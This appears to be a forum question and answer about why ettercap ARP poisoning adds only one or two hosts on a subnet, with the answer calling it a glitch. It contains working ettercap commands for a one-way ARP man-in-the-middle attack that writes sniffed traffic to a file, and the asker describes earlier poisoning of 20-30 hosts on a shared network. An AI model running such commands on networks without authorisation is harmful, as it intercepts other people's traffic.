ettercap not scanning all hosts
I tried running running ettercap as follows:
sudo ettercap -i eth0 -Tq -M arp:remote,oneway -w out.data // /10.8.40.250/
But ettercap is able to add only 2 (sometimes 1) hosts to the hosts list.
Scanning the whole netmask for 8191 hosts...
* |==================================================>| 100.00 %
1 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : ANY (all the hosts in the list)
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help
Why is it only printing group 1?
If I try to poison a particular host,
sudo ettercap -i eth0 -Tq -M arp:remote,oneway -w out.data /10.8.41.202/ /10.8.40.250/
It works!
my ip: 10.8.57.121 subnet mask: 255.255.224.0
I was able to run the exact same thing some time ago, add 20-30 hosts and successfully ARP poison most of them. What am I doing wrong now?
Answer
I wrote an article about Ettercap & SSLstrip a while ago.(http://bidabe.zapto.org/?p=17)
You are not doing anything wrong, if you run again and again the same command-line you will notice that "Group 2" appears erratically.
Using the interactive mode with autoadd, you can see all the hosts (for this subnet) that are being cache poisoned in real-time. I believe this is a glitch.
